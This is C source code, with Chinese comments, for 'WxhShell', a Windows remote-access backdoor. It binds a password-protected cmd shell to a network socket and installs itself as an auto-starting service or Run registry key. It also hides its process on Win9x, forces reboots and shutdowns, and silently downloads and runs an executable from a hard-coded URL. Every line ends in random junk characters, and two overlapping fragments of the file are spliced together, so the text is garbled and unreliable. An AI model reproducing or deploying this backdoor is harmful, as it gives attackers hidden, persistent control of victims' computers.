    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |={><0  
    if(Boot(SHUTDOWN)) u3vBMe0v[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,C2qP3yg  
    else { "u5Hm ^H  
    closesocket(wsh); }$!bD  
    ExitThread(0); Ni*f1[sI<  
    } o"~ODN" L  
    break; @/*{8UBP  
    } N]R<EBq  
  // 获取shell |!{Q4<  
  case 's': { LWHP31{R  
    CmdShell(wsh); 5%"${ywI  
    closesocket(wsh); ?z%@;&  
    ExitThread(0); 9 P_`IsVK  
    break; hO(8v&ns3  
  } lA {  
  // 退出 biG=4?Xl  
  case 'x': { Tl5K'3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sY+U$BYB>  
    CloseIt(wsh); Kdh(vNB>  
    break; TJ[C,ic=D  
    } Y,RED5]t  
  // 离开 v39`ct=e  
  case 'q': { ?(Q" y\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0l3v>ty  
    closesocket(wsh); 9;2PoW8  
    WSACleanup(); vl*CU"4  
    exit(1); RR!(,j^M  
    break; eT1b88_  
        } `}.K@17  
  } h=SQ]nV{  
  } } [}u5T`w>  
m6^Ua  
  // 提示信息 @*q WV*$h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v'Ce|.;  
} w]GoeIg({  
  } Dww]D|M  
EW*!_|  
  return; H=] )o2 1  
} Be}e%Rk  
v ~.X  
// shell模块句柄 <h|XB}s+  
int CmdShell(SOCKET sock) VTk6.5!8  
{ ~ ui/Qf2|  
STARTUPINFO si; Mf7Q+_!  
ZeroMemory(&si,sizeof(si)); ;Q&38qI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <GPL8D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~R/w~Kc!/A  
PROCESS_INFORMATION ProcessInfo; 4O_z|K_k|  
char cmdline[]="cmd"; k%E9r'Ac  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B 3|zR  
  return 0; 21D4O,yCe  
} E0[!jZ:c  
kv&%$cA  
// 自身启动模式 N ?Jr8  
int StartFromService(void) a(Ka2;M4J  
{ [1B F8:  
typedef struct J9S9r ir&  
{ W"S,~y  
  DWORD ExitStatus; &[,g `S0  
  DWORD PebBaseAddress; UfjLNe}wA  
  DWORD AffinityMask; c+?L?s`"  
  DWORD BasePriority; },'hhj]O  
  ULONG UniqueProcessId; 6cz%>@  
  ULONG InheritedFromUniqueProcessId; =2uE\6Fl,  
}   PROCESS_BASIC_INFORMATION; "Pi\I9M3  
jC+>^=J(  
PROCNTQSIP NtQueryInformationProcess; B%gk[!d}8  
='u'/g$'&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9UTWq7KJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [0.>:wT  
W"Hjn/xSS  
  HANDLE             hProcess; kwNXKn/   
  PROCESS_BASIC_INFORMATION pbi; [M_pf2Y  
*bRer[7y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !iUdej^tx  
  if(NULL == hInst ) return 0; b9ysxuUdS  
*}R5=r0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lnL&v' {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9qD/q?Hh$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~ z4T   
XSt5s06TM  
  if (!NtQueryInformationProcess) return 0; mNN,}nHu  
ZiM#g1;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AE!WYE  
  if(!hProcess) return 0; h`+Gs{1qw  
2+" =i/8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .O @bX)  
G}ElQD  
  CloseHandle(hProcess); W=M&U  
^(m`5]qr7J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /{YUM~  
if(hProcess==NULL) return 0; >0)E\_ u  
YM{Q)115  
HMODULE hMod; ;y<)RM  
char procName[255]; &N1C"Eov?  
unsigned long cbNeeded; &b,.W; +  
B[ae<V0 k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ht? u{\p@  
udtsq"U_%  
  CloseHandle(hProcess); X@Eq5s  
}`6-^lj  
if(strstr(procName,"services")) return 1; // 以服务启动 ^k&zX!W  
I9*o[Jp5  
  return 0; // 注册表启动  z:9  
} xou7j   
l2GMVAca  
// 主模块 ]Vhhx`0  
int StartWxhshell(LPSTR lpCmdLine) +JZ<9,4  
{ 6CO>Tg:%  
  SOCKET wsl; KIn^,d0H  
BOOL val=TRUE; y$s}-O]/-  
  int port=0; L`FsK64@  
  struct sockaddr_in door; )<G>]IP<  
jjBcoQU$o  
  if(wscfg.ws_autoins) Install(); ?"+' OOqik  
8F($RnP3  
port=atoi(lpCmdLine); Lv,~Mf1|  
JfKhYRl  
if(port<=0) port=wscfg.ws_port; z/ T|  
3Zg=ZnF  
  WSADATA data; S;NChu?8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WhE5u&`  
ar+mj=m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G39H@@ *O0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FMY r6/I  
  door.sin_family = AF_INET; ({D.oS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %r6LU<;1@  
  door.sin_port = htons(port); F<BhN+U  
FePJ8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w$A*|^w1  
closesocket(wsl); nhk +9  
return 1; tnqW!F~  
} g-mK(kY4p  
y[q W>  
  if(listen(wsl,2) == INVALID_SOCKET) { h 7kyz  
closesocket(wsl); Wr`=P,  
return 1; d|on y  
} r&}fn"H!  
  Wxhshell(wsl); l*_b)&CH  
  WSACleanup(); ig; ~ T  
IK{0Y#c  
return 0; /.'1i4Xa1P  
\yb^%$hZ0  
} 5g F}7D@  
 _+|*  
// 以NT服务方式启动 dge58A)Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8(KsU,%d  
{ jR@-h"2*A  
DWORD   status = 0; 1|/2%IDUI  
  DWORD   specificError = 0xfffffff; i/O!bq[o  
v{H23Cfh:  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  i2)SSQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XT>e/x9'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,~K_rNNZ  
  serviceStatus.dwWin32ExitCode     = 0; ?jw)%{iKYV  
  serviceStatus.dwServiceSpecificExitCode = 0; Z> QSZ48=  
  serviceStatus.dwCheckPoint       = 0; A40 -])'!  
  serviceStatus.dwWaitHint       = 0; PG<N\  
7bsW7;C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =6  
  if (hServiceStatusHandle==0) return; dq:M!F  
m>:%[vm  
status = GetLastError(); ddnWr"_  
  if (status!=NO_ERROR) }C" #b\A2  
{ 5 F^,7A4I0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NWCnt,FlY  
    serviceStatus.dwCheckPoint       = 0; l[ @\!;|  
    serviceStatus.dwWaitHint       = 0; iCAd7=o  
    serviceStatus.dwWin32ExitCode     = status; ih+kh7J-  
    serviceStatus.dwServiceSpecificExitCode = specificError; b4%IyJr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #l;Ekjfz  
    return; I_pA)P*Q(6  
  } 0)ST_2Ci  
< ]wN/B-8J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }'H Da M  
  serviceStatus.dwCheckPoint       = 0; M*c\=(  
  serviceStatus.dwWaitHint       = 0; _nx|ZJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H:[z#f|t  
} 3J'a  
"45BOw&72G  
// 处理NT服务事件,比如:启动、停止 Tj:+:B(HB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^~BJu#uVyy  
{ 0QC*Z (  
switch(fdwControl) e1<28g  
{ "a,Tc2xk  
case SERVICE_CONTROL_STOP: @Zq,mPaR$  
  serviceStatus.dwWin32ExitCode = 0; _LK>3S qd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'c &Bmd40  
  serviceStatus.dwCheckPoint   = 0; +bRL.xY  
  serviceStatus.dwWaitHint     = 0; =PZs'K  
  { gLpWfT29V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w_U5w  
  } oR-_=U^  
  return; t9K.Jc0  
case SERVICE_CONTROL_PAUSE: zv0RrF^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2tWUBt\,g  
  break; H>DJ-lG(  
case SERVICE_CONTROL_CONTINUE: N_gjOE`x5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (Nik( Oyj"  
  break; -\NB*|9m|  
case SERVICE_CONTROL_INTERROGATE: 'Y vW|Iq  
  break; 3\(s=- vh  
}; /itO xrA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (4g; -*N  
} ]/$tt@h  
'rR\H2b   
// 标准应用程序主函数 b7>;UX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1H[lf B  
{ aD&10b9`  
efbt\j6@%2  
// 获取操作系统版本 vG\Wr.h0!=  
OsIsNt=GetOsVer(); gdT^QM:y4$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x_@ev-  
fmSw%r|pT  
  // 从命令行安装 \C<rg|  
  if(strpbrk(lpCmdLine,"iI")) Install(); }`_2fJ6  
"lz!'~im  
  // 下载执行文件 T.1z<l""  
if(wscfg.ws_downexe) { 6=')*_~/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lA]u8+gXd  
  WinExec(wscfg.ws_filenam,SW_HIDE); d!gm4hQhl  
} Q|v=WC6  
cnIy*!cJs  
if(!OsIsNt) { 8\a)}k~4  
// 如果时win9x,隐藏进程并且设置为注册表启动 5cfzpOqr0  
HideProc(); C*gSx3OG  
StartWxhshell(lpCmdLine); lO9>?y8.y  
} Yd<~]aXM   
else -d[x 09  
  if(StartFromService()) S`6'~g  
  // 以服务方式启动 $ o t"Du  
  StartServiceCtrlDispatcher(DispatchTable); DI&xTe9k  
else )Z; Y,g  
  // 普通方式启动 qC 6Q5F  
  StartWxhshell(lpCmdLine); 't|F}@HP  
!tb RqW6v  
return 0; lo(Ht=d  
} Fza)dJ 7  
@Td[rHl  
6Nl$&jL  
<wSmfg,yF  
=========================================== jOuv\$  
Y3Qq'FN!I  
.(Pe1pe  
sO  
4p-$5Fk8}  
-p;o e}|  
" X,q= JS  
pGcc6q1  
#include <stdio.h> {jc~s~<#  
#include <string.h> oqY?#p/  
#include <windows.h> Xoik%T-  
#include <winsock2.h> b%_QL3 m6  
#include <winsvc.h> Q3/q%#q>  
#include <urlmon.h> 9M!_D?+P?  
57j:Lw~   
#pragma comment (lib, "Ws2_32.lib") O.4"h4{'  
#pragma comment (lib, "urlmon.lib") lGM3?AN  
BT#>b@Xub  
#define MAX_USER   100 // 最大客户端连接数 pUwX cy<n  
#define BUF_SOCK   200 // sock buffer uo65i 1oi  
#define KEY_BUFF   255 // 输入 buffer P"]+6sm&es  
P! 3$RO  
#define REBOOT     0   // 重启 H\b5]q %  
#define SHUTDOWN   1   // 关机 ~::R+Lh(  
woT"9_tN  
#define DEF_PORT   5000 // 监听端口 :^*V[77  
'^J/aV  
#define REG_LEN     16   // 注册表键长度 K;97/"  
#define SVC_LEN     80   // NT服务名长度 #0P<#S^7  
-'0AV,{Z  
// 从dll定义API ,-1$Vh@wM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'w!gQ#De  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e7?W VV,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?I0 i%nH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -'N#@Wdr  
n=SZ8Rj7  
// wxhshell配置信息 lcP@5ZW  
struct WSCFG { 87Uv+((H  
  int ws_port;         // 监听端口 B~aOs>1 S]  
  char ws_passstr[REG_LEN]; // 口令 O}`01A!u;  
  int ws_autoins;       // 安装标记, 1=yes 0=no %zD-gw>  
  char ws_regname[REG_LEN]; // 注册表键名 T7T!v  
  char ws_svcname[REG_LEN]; // 服务名 KALg6DZe:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]EcZ|c7o9y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b mm@oi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^VIUXa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LWL>hd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |)4$\<d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w@ 5/mf?  
Hb+#*42v  
}; ]dK]a:S  
rO`g~>-  
// default Wxhshell configuration .apX72's,  
struct WSCFG wscfg={DEF_PORT, u20b+c4  
    "xuhuanlingzhe", _]S6>  
    1, +{%4&T<nHw  
    "Wxhshell", <D dHP  
    "Wxhshell", 0V#t ;`Q3  
            "WxhShell Service", )[)]@e  
    "Wrsky Windows CmdShell Service", Yz,!#ob$  
    "Please Input Your Password: ", /2cI{]B  
  1, .fsk DW  
  "http://www.wrsky.com/wxhshell.exe", :I'Ezxv|  
  "Wxhshell.exe" -Wn.@bz6B  
    }; '*XNgvX  
GA_`C"mx  
// 消息定义模块 iXm||?Rnx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]18ygqt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pu:D/2R2;k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s4gNS eA  
char *msg_ws_ext="\n\rExit."; UvZ@"El  
char *msg_ws_end="\n\rQuit."; ;a3nH  
char *msg_ws_boot="\n\rReboot..."; ,4Fqvg  
char *msg_ws_poff="\n\rShutdown..."; pG( knu  
char *msg_ws_down="\n\rSave to "; y9L#@   
%7evPiNB  
char *msg_ws_err="\n\rErr!"; ?Bzi#Z  
char *msg_ws_ok="\n\rOK!"; tv OAN|+F  
~0-764%  
char ExeFile[MAX_PATH]; I PVzV\o  
int nUser = 0; |3,V%>z  
HANDLE handles[MAX_USER]; |3s&Y`x-D  
int OsIsNt; k4$q|x7+%  
KY`96~z  
SERVICE_STATUS       serviceStatus; xN m32~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _0*>I1F~  
B -~&6D,  
// 函数声明 -k <9v.:  
int Install(void); !ix<|F5  
int Uninstall(void); IOkC[([  
int DownloadFile(char *sURL, SOCKET wsh); kN j3!u$  
int Boot(int flag); V"H 7zx  
void HideProc(void); NoO+xLHw8  
int GetOsVer(void); 1mJ_I|98  
int Wxhshell(SOCKET wsl); uvDoo6'  
void TalkWithClient(void *cs); 1bJ]3\  
int CmdShell(SOCKET sock); ~snF20  
int StartFromService(void); PS(j)I3  
int StartWxhshell(LPSTR lpCmdLine); -?nT mzRc  
ewrWSffe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EO&ACG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tt ]V$V  
0['"m^l0S  
// 数据结构和表定义 U('<iw,Yy  
SERVICE_TABLE_ENTRY DispatchTable[] = R5eB,FN  
{ -t 6R!ZI  
{wscfg.ws_svcname, NTServiceMain}, p,iCM?[|  
{NULL, NULL} q83~j `ZJ$  
}; GD[ou.C}k  
*sB-scD  
// 自我安装 B^_Chj*m  
int Install(void) PGPbpl&\t  
{ I26gGp  
  char svExeFile[MAX_PATH]; %Sn6*\z  
  HKEY key; :pDY  
  strcpy(svExeFile,ExeFile); ~BvY8\@B  
BO4 K#H7  
// 如果是win9x系统,修改注册表设为自启动 9J7J/]7f  
if(!OsIsNt) { ;:4P'FWm^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'K3 s4x($  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vzcBo%  
  RegCloseKey(key); uR ;-eK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 48 CI8[T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7p.h{F'A  
  RegCloseKey(key); Ok>(>K<r  
  return 0; ,B%fjcn  
    } t\pK`DM-[  
  } !p,hy `  
} G|-\T(&J  
else { 6"i{P  
:Jeo_}e 0  
// 如果是NT以上系统,安装为系统服务 i.t9jN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PiQkJ[  
if (schSCManager!=0) 5eOj, [?  
{ BY*2yp}7  
  SC_HANDLE schService = CreateService rj,K`HD  
  ( %XI"<Y\yL  
  schSCManager, Wzqb>.   
  wscfg.ws_svcname, >HPvgR/#BY  
  wscfg.ws_svcdisp, {zz6XlKPj  
  SERVICE_ALL_ACCESS, WY"Y)S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X&(ERY,h  
  SERVICE_AUTO_START, #$=8g RZj  
  SERVICE_ERROR_NORMAL, H=&/Q  
  svExeFile, WBr:|F+~s  
  NULL, 4Oy.,MDQP  
  NULL, ojx'g8yO  
  NULL, bEBBwv  
  NULL, yQZ/ ,KX  
  NULL ^m_^  
  ); 6~ 7 ; o_>  
  if (schService!=0) @fqV0l!GR  
  { I f3{E  
  CloseServiceHandle(schService); -R&E,X7N  
  CloseServiceHandle(schSCManager); ,g/ _eROJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G#w^:UL  
  strcat(svExeFile,wscfg.ws_svcname); zg#m09[4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F gWkcV6B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0+}EA[  
  RegCloseKey(key); KQ4kZN  
  return 0; {N!E5*$Tr  
    } f v E+.{  
  } rFmKmV  
  CloseServiceHandle(schSCManager); /5Zp-Pq  
} y9C;T(oi;  
} 1E5a(  
: 8^M5}  
return 1; _8Nw D_"  
} 1Xy8|OFc[  
M3Khc#5S(  
// 自我卸载 P +dA~2k  
int Uninstall(void) Y=vVxVI\  
{ B;Xoa,  
  HKEY key; I tI0x  
{f+N]Oo*  
if(!OsIsNt) { v2hZq-q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *jM_wwG  
  RegDeleteValue(key,wscfg.ws_regname); \3Dk5cSDk+  
  RegCloseKey(key); <<=e9Lh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  8]q  
  RegDeleteValue(key,wscfg.ws_regname); CmEpir{}(  
  RegCloseKey(key); ,3Wb4so  
  return 0; L*g. 6+2  
  } 5Vp;dc  
} JEWL)  
} d/D,P=j"  
else {  0]AN;  
)0#j\ B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D##+)`dK  
if (schSCManager!=0) B_{HkQ.PW  
{ }p~OCW!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6'xomRpYN  
  if (schService!=0) B7!<{i  
  { _u&>&,:q  
  if(DeleteService(schService)!=0) { T@TIz z  
  CloseServiceHandle(schService); _om0 e=5)  
  CloseServiceHandle(schSCManager); AV40:y\RW  
  return 0; Q6"uK  
  } gNShOu  
  CloseServiceHandle(schService); S4cpQq.  
  } `|$'g^eCL  
  CloseServiceHandle(schSCManager); {5^K Xj$B  
} \6{krn|  
} qysTjGwa]  
iI5+P`sE&J  
return 1; f UC9-?(K  
} L0rip5[;d  
;{vwBDV!'  
// 从指定url下载文件 lT8#bA  
int DownloadFile(char *sURL, SOCKET wsh) 3&'2aW   
{ <W>++< -  
  HRESULT hr; *7ZGq(O  
char seps[]= "/"; dj'm, k b  
char *token; ,7GWB:Sk  
char *file; gtiEhCF2W  
char myURL[MAX_PATH]; qv[[Q[RK-5  
char myFILE[MAX_PATH]; $ +;+:K  
/;?M?o"H  
strcpy(myURL,sURL); I>PZYh'.T  
  token=strtok(myURL,seps); kv6Cp0uFg  
  while(token!=NULL) >F1G!#$0  
  { ~h-C&G ,v  
    file=token; Nln`fE/Ht  
  token=strtok(NULL,seps); 5W/{h q8}}  
  } -LtK8wl^  
m9in1RI%  
GetCurrentDirectory(MAX_PATH,myFILE); pkJ/oT  
strcat(myFILE, "\\"); 57wFf-P  
strcat(myFILE, file); { ;s;.  
  send(wsh,myFILE,strlen(myFILE),0); AS)UJ/lC  
send(wsh,"...",3,0); ,57$N&w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =; 0wFwSz  
  if(hr==S_OK) O] Y v   
return 0; {C3U6kKs;R  
else ui:=  
return 1; !/`$AXO  
V YZU eh  
} r9# \13-  
zN#*G i'  
// 系统电源模块  UXT p  
int Boot(int flag) 0Vkl`DmeM.  
{ e,>%Z@92(  
  HANDLE hToken; ,apNwkY  
  TOKEN_PRIVILEGES tkp; `K*b?:0lp  
B z^|SkEit  
  if(OsIsNt) { q2hFOm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %SrM|&[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j9d!yW  
    tkp.PrivilegeCount = 1; >I}9LyZt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _]b3,% 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]mQw,S)/"  
if(flag==REBOOT) { sIy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Ov ^GYnn  
  return 0; >-.e AvD  
} !v|FT. T`  
else { O~!T3APGU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j%L&jH 6@  
  return 0; fmfTSN(Q~`  
} VIC0}LT0R  
  } Z&Y=`GOI  
  else { $<nCXVqL,  
if(flag==REBOOT) { %@Oma  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V8WFQdXc  
  return 0; oRM)% N#  
} Yw'NX5#)g  
else { ).5RPAP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Df4+^B,1  
  return 0; :`\) P,  
} J NVr  
} lhH`dG D  
a2w T6jY  
return 1; k|vI<:'p,  
} iDoDwq!l_  
#*9-d/K  
// win9x进程隐藏模块  7I=C+  
void HideProc(void)  J@_ctGv  
{ ?m7:if+ y  
ujFzJdp3k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s&a1y~rv  
  if ( hKernel != NULL ) oR .cSGh  
  { b| M3 `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J-xS:Ha'l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yF13Of^l./  
    FreeLibrary(hKernel); :O-iykXyI  
  } :kMHRm@{  
x YfD()w<I  
return; GOT1@.Y  
} )yG"^Ulu  
&<y2q/U}  
// 获取操作系统版本 fX~'Zk\u  
int GetOsVer(void) aAE>)#f(  
{ :#5xA?=* S  
  OSVERSIONINFO winfo; oVvc?P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h.eM RdlO  
  GetVersionEx(&winfo); @L/o\pvc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @I`C#~  
  return 1; R=Zn -q  
  else 7F^#o-@=J  
  return 0; 2I/xJ+  
} $e1=xSQp4  
Fmyj*)J[Z  
// 客户端句柄模块 O`G/=/GZ  
int Wxhshell(SOCKET wsl) =,y |00l  
{ 80b;I|-T,  
  SOCKET wsh; \1"'E@+  
  struct sockaddr_in client; 6%,C_7j  
  DWORD myID; ~y HU^5D  
DdQ;Q5|  
  while(nUser<MAX_USER) ^y!;xc$(Qs  
{ (*p , T  
  int nSize=sizeof(client); ]rehW}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sRSz}]  
  if(wsh==INVALID_SOCKET) return 1; o*WY=  
=Prb'8 W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); : _e#  
if(handles[nUser]==0) Byl^?5  
  closesocket(wsh); ?BA]7M(,4  
else bmgncwlz  
  nUser++; $+JS&k/'m  
  } U>Ld~cw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K6/@]y%Wr  
gr-9l0u  
  return 0; FBx_c;)9Z  
} o?L'Pg  
YB<*"HxM)}  
// 关闭 socket ;Uc0o!1  
void CloseIt(SOCKET wsh) qgIb/6;xQ  
{ >Y7a4~ufko  
closesocket(wsh); &LO"g0w  
nUser--; ]aP= Ks%  
ExitThread(0); :x.7vZzxs  
} "Z Htr<+  
I V%zO+  
// 客户端请求句柄 SIO&rrT.  
void TalkWithClient(void *cs) 7tUA>;++  
{ +#U|skl  
&Z(K6U#.  
  SOCKET wsh=(SOCKET)cs; **9x?s  
  char pwd[SVC_LEN]; F+R?a+e  
  char cmd[KEY_BUFF]; ^;!0j9"* :  
char chr[1]; :B3[:MpL}  
int i,j; -;f*VM.a  
FZjHw_pP  
  while (nUser < MAX_USER) { *eI)Z=8  
[Wd-Zn%  
if(wscfg.ws_passstr) { ]Chj T}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `&\Q +W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X%z }VA  
  //ZeroMemory(pwd,KEY_BUFF); +$4(zP s@  
      i=0; L,y6^J!  
  while(i<SVC_LEN) { Z^ }mp@j>  
infl.  
  // 设置超时 rpeJkG@+  
  fd_set FdRead; Uc/+gz Z;  
  struct timeval TimeOut; 8!.ojdyn  
  FD_ZERO(&FdRead); U*90m~)  
  FD_SET(wsh,&FdRead); EY*(Bw  
  TimeOut.tv_sec=8; R1Sy9x .  
  TimeOut.tv_usec=0; HhO".GA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oFOnjK"|F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %ZHP2j %~  
 "KcA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n>@oBG)!  
  pwd=chr[0]; >WY#4  
  if(chr[0]==0xd || chr[0]==0xa) { DN4$Jva  
  pwd=0; R$;n)_H  
  break; y#}cC+;   
  } _|h8q-[3  
  i++; I*9e]m"  
    } {U&.D [{&  
vJAZ%aW  
  // 如果是非法用户,关闭 socket !9 fz(9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gt9&)/#  
} IV\J3N^  
2WUT/{:X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uj&W<'I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xsWur(>]  
~?B;!Csk  
while(1) { 'SQG>F Uy  
(sVi\R  
  ZeroMemory(cmd,KEY_BUFF); nUkaz*4qU  
'_|h6<.k[  
      // 自动支持客户端 telnet标准    XL7h}  
  j=0; [M+f-kl  
  while(j<KEY_BUFF) { aF03a-qw<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cuOvN"nuNj  
  cmd[j]=chr[0]; %Uz(Vd#K  
  if(chr[0]==0xa || chr[0]==0xd) { =8U&[F  
  cmd[j]=0; Q:J^"  
  break; >X*Mio8P#  
  } GhPK-+"X  
  j++; CI3XzH\IX*  
    } `/Y{ l  
yf&7P;A  
  // 下载文件 <&)v~-&O  
  if(strstr(cmd,"http://")) { @&[T _l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y@PI {;!  
  if(DownloadFile(cmd,wsh)) /x3/Ubmz~x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Zp\^/  
  else hYawU@R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ef<b~E@  
